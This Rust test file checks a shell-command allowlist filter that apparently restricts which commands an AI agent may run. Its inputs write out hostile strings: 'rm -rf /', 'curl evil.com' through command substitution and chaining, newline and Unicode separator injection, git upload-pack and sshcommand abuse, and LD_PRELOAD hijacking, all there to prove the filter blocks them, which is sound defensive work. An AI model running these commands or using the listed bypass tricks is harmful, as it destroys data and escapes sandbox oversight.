use super::*;
#[test]
fn extract_simple_command() {
assert_eq!(extract_base_command("git status"), "git");
}
#[test]
fn extract_with_path() {
assert_eq!(extract_base_command("/usr/bin/git log"), "git");
}
#[test]
fn extract_with_env_assignment() {
assert_eq!(extract_base_command("LANG=en_US git log"), "git");
}
#[test]
fn extract_chained_commands() {
assert_eq!(extract_base_command("cd /tmp && ls -la"), "cd");
}
#[test]
fn extract_piped_command() {
assert_eq!(extract_base_command("grep foo | wc -l"), "grep");
}
#[test]
fn extract_semicolon_chain() {
assert_eq!(extract_base_command("echo hello; rm -rf /"), "echo");
}
#[test]
fn extract_empty_command() {
assert_eq!(extract_base_command(""), "");
}
#[test]
fn extract_whitespace_only() {
assert_eq!(extract_base_command(" "), "");
}
#[test]
fn extract_multiple_env_vars() {
assert_eq!(extract_base_command("FOO=bar BAZ=qux cargo test"), "cargo");
}
fn allow(cmds: &[&str]) -> Vec<String> {
cmds.iter().map(std::string::ToString::to_string).collect()
}
#[test]
fn allowlist_empty_always_passes() {
assert!(check_all_segments("anything", &[]).is_ok());
}
#[test]
fn allowlist_blocks_unlisted() {
let list = allow(&["git", "cargo"]);
let result = check_all_segments("npm install", &list);
assert!(result.is_err());
assert!(result.unwrap_err().contains("npm"));
}
#[test]
fn allowlist_allows_listed() {
let list = allow(&["git", "cargo", "npm"]);
assert!(check_all_segments("git status", &list).is_ok());
assert!(check_all_segments("cargo test --release", &list).is_ok());
assert!(check_all_segments("npm run build", &list).is_ok());
}
#[test]
fn allowlist_allows_full_path() {
let list = allow(&["git"]);
assert!(check_all_segments("/usr/bin/git status", &list).is_ok());
}
#[test]
fn allowlist_allows_with_env_prefix() {
let list = allow(&["git"]);
assert!(check_all_segments("LANG=C git log", &list).is_ok());
}
#[test]
fn allowlist_blocks_similar_names() {
let list = allow(&["git"]);
assert!(check_all_segments("gitk --all", &list).is_err());
}
#[test]
fn all_segments_must_be_allowed_chain() {
let list = allow(&["git", "cargo"]);
assert!(check_all_segments("git status && cargo test", &list).is_ok());
assert!(check_all_segments("git status && rm -rf /", &list).is_err());
}
#[test]
fn all_segments_must_be_allowed_pipe() {
let list = allow(&["git", "grep", "wc"]);
assert!(check_all_segments("git log | grep fix | wc -l", &list).is_ok());
assert!(check_all_segments("git log | cat", &list).is_err());
}
#[test]
fn all_segments_must_be_allowed_semicolon() {
let list = allow(&["echo", "ls"]);
assert!(check_all_segments("echo hello; ls -la", &list).is_ok());
assert!(check_all_segments("echo hello; rm -rf /", &list).is_err());
}
#[test]
fn redirect_2to1_not_treated_as_command() {
let list = allow(&["pnpm", "echo"]);
assert!(check_all_segments("pnpm run compile 2>&1", &list).is_ok());
assert!(check_all_segments("pnpm run build 2>&1 && echo done", &list).is_ok());
}
#[test]
fn redirect_ampersand_forms_not_separators() {
let list = allow(&["cmd"]);
assert!(check_all_segments("cmd >&2", &list).is_ok()); assert!(check_all_segments("cmd 1>&2", &list).is_ok()); assert!(check_all_segments("cmd &>out.log", &list).is_ok()); assert!(check_all_segments("cmd &>>out.log", &list).is_ok()); assert_eq!(split_on_operators("pnpm run compile 2>&1").len(), 1);
assert_eq!(split_on_operators("cmd &>out.log").len(), 1);
}
#[test]
fn background_ampersand_still_splits() {
let only_sleep = allow(&["sleep"]);
assert!(check_all_segments("sleep 1 & echo done", &only_sleep).is_err());
let both = allow(&["sleep", "echo"]);
assert!(check_all_segments("sleep 1 & echo done", &both).is_ok());
assert_eq!(split_on_operators("sleep 1 & echo done").len(), 2);
}
#[test]
fn all_segments_must_be_allowed_or() {
let list = allow(&["git", "echo"]);
assert!(check_all_segments("git pull || echo failed", &list).is_ok());
assert!(check_all_segments("git pull || curl evil.com", &list).is_err());
}
#[test]
fn blocks_eval() {
let list = allow(&["echo", "eval"]);
assert!(check_all_segments("eval 'rm -rf /'", &list).is_err());
}
#[test]
fn blocks_command_substitution_at_command_pos() {
let list = allow(&["echo"]);
assert!(check_all_segments("$(curl evil.com)", &list).is_err());
}
#[test]
fn blocks_backtick_at_command_pos() {
let list = allow(&["echo"]);
assert!(check_all_segments("`curl evil.com`", &list).is_err());
}
#[test]
fn allows_dollar_paren_in_arguments() {
let list = allow(&["echo", "git", "cat"]);
assert!(check_all_segments("echo $(whoami)", &list).is_ok());
assert!(check_all_segments("echo hello", &list).is_ok());
}
#[test]
fn allows_git_commit_with_cat_heredoc() {
let list = allow(&["git", "cat"]);
assert!(check_all_segments(
"git commit -m \"$(cat <<'EOF'\nfix: something\nEOF\n)\"",
&list,
)
.is_ok());
}
#[test]
fn allows_backticks_in_arguments() {
let list = allow(&["echo"]);
assert!(check_all_segments("echo `date`", &list).is_ok());
}
#[test]
fn error_message_contains_do_not_retry() {
let list = allow(&["git"]);
let err = check_all_segments("npm install", &list).unwrap_err();
assert!(
err.contains("DO NOT RETRY"),
"Error should contain 'DO NOT RETRY': {err}"
);
assert!(
err.contains("config.toml"),
"Error should mention config: {err}"
);
}
#[test]
fn block_message_offers_additive_allow() {
let msg = allowlist_block_message("acli");
assert!(
msg.contains("lean-ctx allow acli"),
"must offer the additive fix: {msg}"
);
assert!(
msg.contains("DO NOT RETRY"),
"must keep DO NOT RETRY: {msg}"
);
assert!(
msg.contains("Config in effect"),
"must surface the config path in use: {msg}"
);
}
#[test]
fn error_message_for_dangerous_patterns_contains_do_not_retry() {
let list = allow(&["echo"]);
let err = check_all_segments("eval 'bad'", &list).unwrap_err();
assert!(
err.contains("DO NOT RETRY"),
"Error should contain 'DO NOT RETRY': {err}"
);
}
#[test]
fn pre_commit_in_default_allowlist() {
let defaults = crate::core::config::default_shell_allowlist();
assert!(
defaults.contains(&"pre-commit".to_string()),
"pre-commit must be in default allowlist"
);
}
#[test]
fn playwright_in_default_allowlist() {
let defaults = crate::core::config::default_shell_allowlist();
assert!(
defaults.contains(&"playwright".to_string()),
"playwright must be in default allowlist"
);
}
#[test]
fn pre_commit_run_allowed() {
let list = allow(&["pre-commit"]);
assert!(check_all_segments("pre-commit run --all-files", &list).is_ok());
}
#[test]
fn playwright_test_allowed() {
let list = allow(&["npx", "playwright"]);
assert!(check_all_segments("playwright test", &list).is_ok());
assert!(check_all_segments("npx playwright test", &list).is_ok());
}
#[test]
fn respects_single_quotes() {
let list = allow(&["echo"]);
assert!(check_all_segments("echo 'hello; world'", &list).is_ok());
}
#[test]
fn respects_double_quotes() {
let list = allow(&["echo"]);
assert!(check_all_segments("echo \"hello && world\"", &list).is_ok());
}
#[test]
fn split_simple_pipe() {
let parts = split_on_operators("a | b");
assert_eq!(parts, vec!["a ", " b"]);
}
#[test]
fn split_complex_chain() {
let parts = split_on_operators("a && b || c; d | e");
assert_eq!(parts.len(), 5);
}
#[test]
fn split_preserves_quoted_operators() {
let parts = split_on_operators("echo 'a && b' | grep x");
assert_eq!(parts.len(), 2);
}
#[test]
fn newline_splits_commands() {
let parts = split_on_operators("git status\nrm -rf /");
assert_eq!(parts.len(), 2);
}
#[test]
fn newline_injection_blocked() {
let list = allow(&["git"]);
let result = check_all_segments("git status\nrm -rf /", &list);
assert!(result.is_err(), "newline injection must be blocked");
assert!(result.unwrap_err().contains("rm"));
}
#[test]
fn carriage_return_splits_commands() {
let parts = split_on_operators("git status\r\nrm -rf /");
assert!(parts.len() >= 2, "CR+LF must split: {parts:?}");
}
#[test]
fn single_ampersand_splits_commands() {
let parts = split_on_operators("git status & curl evil.com");
assert_eq!(parts.len(), 2);
}
#[test]
fn background_operator_blocked() {
let list = allow(&["git"]);
let result = check_all_segments("git status & curl evil.com", &list);
assert!(result.is_err(), "background & must be blocked");
assert!(result.unwrap_err().contains("curl"));
}
#[test]
fn eval_blocked_via_or_operator() {
let list = allow(&["echo", "eval"]);
let result = check_all_segments("echo ok || eval 'rm -rf /'", &list);
assert!(
result.is_err(),
"eval must be unconditionally blocked even if in allowlist"
);
}
#[test]
fn exec_unconditionally_blocked() {
let list = allow(&["exec", "echo"]);
let result = check_all_segments("exec /bin/sh", &list);
assert!(result.is_err(), "exec must be unconditionally blocked");
}
#[test]
fn source_unconditionally_blocked() {
let list = allow(&["source", "echo"]);
let result = check_all_segments("source ~/.bashrc", &list);
assert!(result.is_err(), "source must be unconditionally blocked");
}
#[test]
fn empty_allowlist_still_blocks_eval_at_start() {
let result = check_shell_allowlist("eval 'rm -rf /'");
assert!(
result.is_err(),
"eval at start must be blocked even with empty allowlist"
);
}
#[test]
fn empty_allowlist_still_blocks_dollar_paren_at_start() {
let result = check_shell_allowlist("$(curl evil.com)");
assert!(
result.is_err(),
"$() at command position must be blocked even with empty allowlist"
);
}
#[test]
fn python_c_blocked() {
let list = allow(&["python3"]);
let result = check_all_segments("python3 -c 'import os; os.system(\"id\")'", &list);
assert!(result.is_err(), "python3 -c must be blocked");
}
#[test]
fn node_e_blocked() {
let list = allow(&["node"]);
let result = check_all_segments("node -e 'process.exit(1)'", &list);
assert!(result.is_err(), "node -e must be blocked");
}
#[test]
fn python_script_allowed() {
let list = allow(&["python3"]);
let result = check_all_segments("python3 script.py", &list);
assert!(result.is_ok(), "python3 with script file must be allowed");
}
#[test]
fn env_delegates_to_unlisted_blocked() {
let list = allow(&["env", "git"]);
let result = check_all_segments("env /bin/sh -c 'id'", &list);
assert!(
result.is_err(),
"env delegating to unlisted command must be blocked"
);
}
#[test]
fn env_delegates_to_listed_allowed() {
let list = allow(&["env", "git"]);
let result = check_all_segments("env git status", &list);
assert!(
result.is_ok(),
"env delegating to listed command must be allowed"
);
}
#[test]
fn env_override_is_additive() {
let base_list = crate::core::config::default_shell_allowlist();
assert!(base_list.contains(&"git".to_string()));
}
#[test]
fn dot_source_alias_blocked() {
let list = allow(&["echo"]);
let result = check_all_segments(". ~/.bashrc", &list);
assert!(result.is_err(), ". (source alias) must be blocked");
}
#[test]
fn backslash_newline_normalized() {
let normalized = normalize_line_continuations("echo ok && \\\ncurl evil");
assert!(
!normalized.contains('\n'),
"backslash-newline must be removed"
);
assert!(
normalized.contains("curl"),
"content after continuation must be preserved"
);
}
#[test]
fn delegation_recursive_interpreter_check() {
let list = allow(&["env", "python3"]);
let result = check_all_segments("env python3 -c 'import os'", &list);
assert!(
result.is_err(),
"env python3 -c must be blocked via recursive check"
);
}
#[test]
fn delegation_recursive_normal_allowed() {
let list = allow(&["env", "git"]);
let result = check_all_segments("env git status", &list);
assert!(result.is_ok(), "env git status must be allowed");
}
#[test]
fn eval_flags_extended_r() {
let list = allow(&["php"]);
let result = check_all_segments("php -r 'system(\"id\")'", &list);
assert!(result.is_err(), "php -r must be blocked");
}
#[test]
fn eval_flags_extended_p() {
let list = allow(&["node"]);
let result = check_all_segments("node -p 'process.exit(1)'", &list);
assert!(result.is_err(), "node -p must be blocked");
}
#[test]
fn combined_flags_pe_blocked() {
let list = allow(&["perl"]);
let result = check_all_segments("perl -pe 's/foo/bar/'", &list);
assert!(result.is_err(), "perl -pe must be blocked (combined flag)");
}
#[test]
fn combined_flags_ne_blocked() {
let list = allow(&["perl"]);
let result = check_all_segments("perl -ne 'print'", &list);
assert!(result.is_err(), "perl -ne must be blocked (combined flag)");
}
#[test]
fn heredoc_to_interpreter_blocked() {
let list = allow(&["python3"]);
let result = check_all_segments("python3 <<'EOF'", &list);
assert!(result.is_err(), "heredoc to interpreter must be blocked");
}
#[test]
fn python_script_file_still_allowed() {
let list = allow(&["python3"]);
assert!(check_all_segments("python3 script.py", &list).is_ok());
assert!(check_all_segments("python3 -u script.py", &list).is_ok());
}
#[test]
fn bare_interpreter_detection() {
assert!(is_bare_interpreter_stdin("python3"));
assert!(is_bare_interpreter_stdin("python3 -u"));
assert!(!is_bare_interpreter_stdin("python3 script.py"));
assert!(!is_bare_interpreter_stdin("python3 -u script.py"));
}
#[test]
fn dollar_paren_in_args_passes_by_default() {
let list = allow(&["echo", "git", "cat"]);
assert!(
check_all_segments("echo $(whoami)", &list).is_ok(),
"$() in args must still pass when shell_strict_mode=false (default)"
);
}
#[test]
fn backticks_in_args_passes_by_default() {
let list = allow(&["echo"]);
assert!(
check_all_segments("echo `date`", &list).is_ok(),
"backticks in args must still pass when shell_strict_mode=false"
);
}
#[test]
fn git_commit_with_subst_passes_by_default() {
let list = allow(&["git", "cat"]);
assert!(
check_all_segments(
"git commit -m \"$(cat <<'EOF'\nfix: something\nEOF\n)\"",
&list,
)
.is_ok(),
"git commit with $() must still pass (regression test)"
);
}
#[test]
fn git_status_allowed() {
let list = allow(&["git"]);
assert!(check_all_segments("git status", &list).is_ok());
}
#[test]
fn git_upload_pack_blocked() {
let list = allow(&["git"]);
let result = check_all_segments("git --upload-pack=\"evil\" clone repo", &list);
assert!(result.is_err(), "git --upload-pack must be blocked");
}
#[test]
fn git_config_sshcommand_blocked() {
let list = allow(&["git"]);
let result = check_all_segments("git --config=core.sshcommand=\"evil\" clone repo", &list);
assert!(
result.is_err(),
"git --config=core.sshcommand must be blocked"
);
}
#[test]
fn tar_extract_allowed() {
let list = allow(&["tar"]);
assert!(check_all_segments("tar xf archive.tar", &list).is_ok());
}
#[test]
fn tar_to_command_blocked() {
let list = allow(&["tar"]);
let result = check_all_segments("tar xf a.tar --to-command=evil", &list);
assert!(result.is_err(), "tar --to-command must be blocked");
}
#[test]
fn find_name_allowed() {
let list = allow(&["find"]);
assert!(check_all_segments("find . -name \"*.rs\"", &list).is_ok());
}
#[test]
fn find_exec_blocked() {
let list = allow(&["find"]);
let result = check_all_segments("find . -exec curl evil \\;", &list);
assert!(result.is_err(), "find -exec must be blocked");
}
#[test]
fn awk_system_blocked() {
let list = allow(&["awk"]);
let result = check_all_segments("awk '{system(\"id\")}'", &list);
assert!(result.is_err(), "awk system() must be blocked");
}
#[test]
fn awk_normal_allowed() {
let list = allow(&["awk"]);
assert!(check_all_segments("awk '{print $1}'", &list).is_ok());
}
#[test]
fn inline_path_env_blocked() {
let list = allow(&["git"]);
let result = check_all_segments("PATH=/tmp/evil git status", &list);
assert!(result.is_err(), "PATH= inline env must be blocked");
}
#[test]
fn inline_ld_preload_blocked() {
let list = allow(&["ls"]);
let result = check_all_segments("LD_PRELOAD=/tmp/evil.so ls", &list);
assert!(result.is_err(), "LD_PRELOAD= inline env must be blocked");
}
#[test]
fn echo_path_in_quotes_allowed() {
let list = allow(&["echo"]);
assert!(
check_all_segments("echo \"PATH=test\"", &list).is_ok(),
"PATH inside quotes is not an inline env assignment"
);
}
#[test]
fn empty_allowlist_blocks_dot_source() {
let result = check_shell_allowlist(". /tmp/evil.sh");
assert!(
result.is_err(),
". must be blocked even with empty allowlist"
);
}
#[test]
fn unicode_line_separators_normalized() {
let normalized = normalize_line_continuations("echo ok\u{2028}curl evil");
assert!(
normalized.contains('\n'),
"U+2028 must be normalized to newline"
);
}
#[test]
fn unicode_paragraph_separator_normalized() {
let normalized = normalize_line_continuations("echo ok\u{2029}curl evil");
assert!(
normalized.contains('\n'),
"U+2029 must be normalized to newline"
);
}
#[test]
fn empty_allowlist_blocks_exec() {
let result = check_shell_allowlist("exec /bin/sh");
assert!(
result.is_err(),
"exec must be blocked even with empty allowlist"
);
}
#[test]
fn tokenize_simple() {
assert_eq!(shell_tokenize("git status"), vec!["git", "status"]);
}
#[test]
fn tokenize_double_quoted_path_with_spaces() {
let tokens = shell_tokenize(r#"git -C "Program Files/repo" status"#);
assert_eq!(tokens, vec!["git", "-C", "Program Files/repo", "status"]);
}
#[test]
fn tokenize_single_quoted_windows_path() {
let tokens = shell_tokenize(r"git -C 'C:\Program Files\repo' status");
assert_eq!(
tokens,
vec!["git", "-C", r"C:\Program Files\repo", "status"]
);
}
#[test]
fn tokenize_single_quoted() {
let tokens = shell_tokenize("echo 'hello world' done");
assert_eq!(tokens, vec!["echo", "hello world", "done"]);
}
#[test]
fn tokenize_backslash_escape() {
let tokens = shell_tokenize(r"echo hello\ world");
assert_eq!(tokens, vec!["echo", "hello world"]);
}
#[test]
fn tokenize_empty() {
assert!(shell_tokenize("").is_empty());
assert!(shell_tokenize(" ").is_empty());
}
#[test]
fn tokenize_mixed_quotes() {
let tokens = shell_tokenize(r#"cmd "arg one" 'arg two' arg3"#);
assert_eq!(tokens, vec!["cmd", "arg one", "arg two", "arg3"]);
}
#[test]
fn token_end_simple() {
assert_eq!(quote_aware_token_end("foo bar"), 3);
}
#[test]
fn token_end_double_quoted() {
assert_eq!(quote_aware_token_end(r#""foo bar" baz"#), 9);
}
#[test]
fn token_end_single_quoted() {
assert_eq!(quote_aware_token_end("'foo bar' baz"), 9);
}
#[test]
fn token_end_entire_string() {
assert_eq!(quote_aware_token_end("foobar"), 6);
}
#[test]
fn token_end_env_with_quoted_value() {
assert_eq!(quote_aware_token_end(r#"FOO="bar baz" git"#), 13);
}
#[test]
fn skip_env_quoted_value_with_spaces() {
let result = skip_env_assignments(r#"FOO="bar baz" git status"#);
assert_eq!(result.trim(), "git status");
}
#[test]
fn skip_env_multiple_assignments() {
let result = skip_env_assignments(r#"A=1 B="two three" cargo test"#);
assert_eq!(result.trim(), "cargo test");
}
#[test]
fn extract_base_quoted_path() {
let r = extract_base_from_segment(r#""/usr/local/bin/git" status"#);
assert_eq!(r, "git");
}
#[test]
fn interpreter_check_with_quoted_path() {
let list = allow(&["python3"]);
let r = check_all_segments(r#"python3 "/path/with spaces/script.py""#, &list);
assert!(r.is_ok(), "quoted path to script should be allowed");
}
#[test]
fn dangerous_flags_git_quoted_path() {
let list = allow(&["git"]);
let r = check_all_segments(r#"git -C "C:\Program Files\repo" status"#, &list);
assert!(r.is_ok(), "git -C with quoted path should be allowed");
}